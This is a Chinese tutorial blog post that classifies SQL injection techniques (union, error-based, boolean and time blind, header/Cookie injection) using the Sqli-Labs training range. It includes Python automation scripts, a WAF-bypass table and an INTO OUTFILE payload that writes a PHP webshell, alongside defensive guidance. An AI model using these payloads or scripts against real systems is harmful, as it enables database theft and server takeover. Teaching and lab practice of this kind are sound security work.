当前位置: 首页 > news >正文

从GET到Cookie:用Sqli-Labs靶场实战拆解SQL注入的5种常见姿势(附脚本)

从GET到Cookie:用Sqli-Labs靶场实战拆解SQL注入的5种常见姿势(附脚本)

在网络安全领域,SQL注入始终是最具破坏力的攻击手段之一。Sqli-Labs靶场作为经典的SQL注入练习平台,通过22个精心设计的关卡,系统化地展现了不同类型注入点的攻击手法。本文将突破传统按关卡罗列的教学模式,从技术演进视角出发,按照注入点类型攻击技术两个维度进行深度分类,并配合可复用的Python脚本,帮助读者建立结构化的攻防思维框架。

1. 注入点类型的技术特征与实战要点

1.1 GET参数注入:传统但高效的攻击入口

GET型注入主要出现在URL参数直接拼接SQL查询的场景。以Less-1到Less-4为例,虽然闭合方式不同(单引号、双引号、括号等),但核心攻击模式一致:

# GET型注入自动化探测脚本示例 import requests def detect_injection(url): test_cases = ["'", "\"", "')", "\")"] # 常见闭合方式 for case in test_cases: r = requests.get(f"{url}{case}") if "error" in r.text.lower(): return f"可注入,闭合方式:{case}" return "未检测到明显注入点"

关键判断逻辑

  • 通过报错信息识别闭合方式
  • 使用order by确定字段数
  • 联合查询时需构造负值使前段查询失效

注意:现代WAF通常会过滤常见关键词如union、select,此时可采用分段编码或注释符绕过,如uni%6fn代替union。

1.2 POST表单注入:隐蔽的数据通道

从Less-11开始,攻击面转向表单提交数据。与GET型不同,POST注入需要处理:

  1. 请求体构造
# POST注入脚本示例 data = { 'username': 'admin\' AND 1=1 -- ', 'password': '任意值' } r = requests.post(url, data=data)
  1. 盲注特征判断矩阵
响应特征注入类型判断依据
显错信息报错注入数据库错误直接回显
布尔状态差异布尔盲注登录成功/失败页面差异
响应时间延迟时间盲注sleep()函数触发延迟

1.3 HTTP头部注入:高阶渗透路径

Less-18到Less-22展示了头部注入的三种典型场景:

  1. User-Agent注入
GET /less-18 HTTP/1.1 User-Agent: ' AND (SELECT COUNT(*) FROM information_schema.tables) > 0 --
  1. Cookie注入自动化脚本
cookies = {'uname': base64.b64encode("admin' AND 1=1 -- ".encode()).decode()} r = requests.get(url, cookies=cookies)

技术演进趋势

  • 早期注入多集中在GET/POST参数
  • 现代应用转向头部字段注入等隐蔽路径
  • Base64编码等变形手段增加检测难度

2. 五大注入技术的原理与自动化实现

2.1 联合查询注入:信息检索的标准解法

联合注入的核心在于构造合法的UNION查询。以Less-1为例的自动化流程:

  1. 字段数探测:
for i in range(1,10): payload = f"1' ORDER BY {i} -- " if "Unknown column" in requests.get(url+payload).text: column_count = i-1 break
  1. 数据提取模板:
-1' UNION SELECT NULL,CONCAT(table_name),NULL FROM information_schema.tables WHERE table_schema=database() --

2.2 报错注入:非常规信息泄露通道

当页面不显示查询结果但返回错误信息时,可利用数据库报错机制:

# 报错注入payload生成函数 def error_based_payload(query): return f"1' AND updatexml(1,concat(0x7e,({query}),0x7e),1) -- "

常见报错函数对比

函数适用数据库触发条件
updatexml()MySQLXPATH语法错误
extractvalueMySQLXPATH语法错误
cast()SQL Server类型转换错误

2.3 布尔盲注:比特级的条件判断

当页面只有状态变化而无具体信息时,需要逐字符判断:

# 布尔盲注自动化脚本 def bool_blind(url, query): result = "" for i in range(1,50): for c in range(32,127): payload = f"1' AND ASCII(SUBSTR(({query}),{i},1))={c} -- " if "Welcome" in requests.get(url+payload).text: result += chr(c) break return result

优化技巧

  • 使用二分查找提升效率
  • 对常见单词建立字典加速猜测
  • 结合正则表达式减少请求次数

2.4 时间盲注:无回显场景的最后手段

当页面完全无差异时,通过延时判断条件真假:

# 时间盲注检测函数 def time_based(query): start = time.time() requests.get(url + f"1' AND IF(({query}),SLEEP(5),0) -- ") return time.time() - start > 4

关键问题

  • 网络延迟可能导致误判
  • 需要设置合理的超时阈值
  • 自动化脚本需加入重试机制

2.5 文件导出:获取系统权限的跳板

Less-7演示了通过注入写入Webshell的技术:

1')) UNION SELECT 1,"<?php system($_GET['cmd']); ?>",3 INTO OUTFILE '/var/www/html/shell.php' --

防御对策

  • 禁用secure_file_priv写入权限
  • 对数据库账户严格限制文件操作权限
  • 监控Web目录异常文件创建

3. 防御体系构建与自动化检测

3.1 参数化查询的工程实现

以Python为例的安全编码示范:

# 安全查询方式 cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

常见错误模式

  • 字符串拼接:f"SELECT * FROM users WHERE id = {user_id}"
  • 不完整过滤:仅转义单引号忽略其他特殊字符

3.2 WAF绕过技术矩阵

绕过技术示例防御措施
大小写变异SeLeCt正则表达式标准化
注释符分割SEL/xxx/ECT语法树分析
十六进制编码0x73656C656374输入规范化
空白符替代S%E%L%E%C%TURL解码后检测

3.3 自动化漏洞检测框架设计

基于Python的检测框架核心组件:

class SQLiScanner: def __init__(self, target): self.target = target self.techniques = [ BooleanBasedScan(), TimeBasedScan(), ErrorBasedScan() ] def run(self): for tech in self.techniques: if tech.detect(self.target): return tech.report() return "未发现注入漏洞"

4. 从靶场到实战:企业级应用防护方案

4.1 SDLC各阶段防护措施

  1. 开发阶段

    • 使用ORM框架替代原生SQL
    • 代码审计集成IDE插件
  2. 测试阶段

    • DAST自动化扫描
    • 模糊测试覆盖边界案例
  3. 运行阶段

    • RASP实时防护
    • SQL防火墙规则更新

4.2 监控与响应体系

典型攻击特征

  • 高频出现的数据库关键字
  • 异常长的请求参数
  • 非常规的HTTP头部内容

响应流程

  1. 请求拦截与日志记录
  2. 会话终止与IP封禁
  3. 漏洞分析与补丁部署

在真实渗透测试项目中,曾遇到过一个使用Base64编码Cookie的金融系统,其注入点检测需要特别处理编码逻辑。通过改造标准检测脚本,最终发现存在时间盲注漏洞。这个案例说明,现代Web应用的防御措施正在迫使攻击技术持续进化。

http://www.cnnetsun.cn/news/1715894.html

相关文章:

  • YOLO26功能体验:官方镜像预置多种权重,开箱即用体验最新模型
  • Anaconda环境下的Phi-4-mini-reasoning开发全流程
  • 前端代码规范最佳实践:eslint + prettier + editorconfig + lint-staged + vscode的settings.json文件
  • Qwen3-ForcedAligner-0.6B模型量化实战:减小部署体积
  • 线控转向(SBW)的‘手感’是怎么来的?深度拆解HWA路感模拟算法
  • FlutterApp安全防护完整指南:数据加密、权限管理与网络安全配置终极教程
  • 千问3.5-2B驱动AI Agent:自主任务规划与执行框架搭建
  • RexUniNLU开源模型实战:400MB模型在A10/A100/T4不同GPU上的适配
  • Oh-My-Posh V2与V3终极对比:功能差异与完整迁移指南
  • 领域驱动设计实战:解密DDDSample中Cargo聚合根的黄金法则
  • 终极指南:深入理解Gumbo-parser字符引用解析与HTML实体处理
  • WordPress代码质量提升:如何使用自定义规则集优化项目
  • YOLOE官版镜像入门指南:从零开始搞定文本提示检测
  • Emacs Plus 社区生态系统:如何发现和使用第三方资源
  • OpenClaw学术助手:Qwen2.5-VL-7B论文图表解析与总结
  • 开源模型可持续维护:雯雯的后宫-造相Z-Image-瑜伽女孩版本更新与回滚策略
  • 从唤醒到合成:基于讯飞、VOSK与DeepSeek的纯离线语音助手全链路实践
  • Stable-Diffusion-v1-5-archive生成多样性控制:Temperature-like采样策略模拟
  • RVM多用户环境管理终极指南:团队开发的完整解决方案
  • FuelUX药盒与占位符组件:提升用户体验的终极输入控件指南
  • 终极指南:如何快速参与build-linux操作系统开发与维护
  • RMBG-2.0开源模型贡献指南:如何提交PR优化头发分割模块
  • 语燕输入法YuyanIme隐私安全特性深度分析:为什么选择离线输入法
  • 利用OFA-Image-Caption自动生成PS设计稿注释,提升团队协作效率
  • Ostrakon-VL-8B在Ubuntu 20.04服务器上的生产环境部署详解
  • Nunchaku FLUX.1 CustomV3实战案例:为国风品牌生成兼具传统纹样与现代审美的插画
  • Mac M2 24G 部署 OpenClaw + Ollama 踩坑实录
  • 卷积神经网络(CNN)原理可视化:Qwen3-14B-AWQ生成技术解读文章
  • 从键盘敲击到屏幕显示:手把手用Verilog在HDLbits上实现一个简易PS/2键盘数据包解析器
  • RWKV7-1.5B-g1a惊艳效果展示:三句话解释RWKV、产品文案、要点压缩真实输出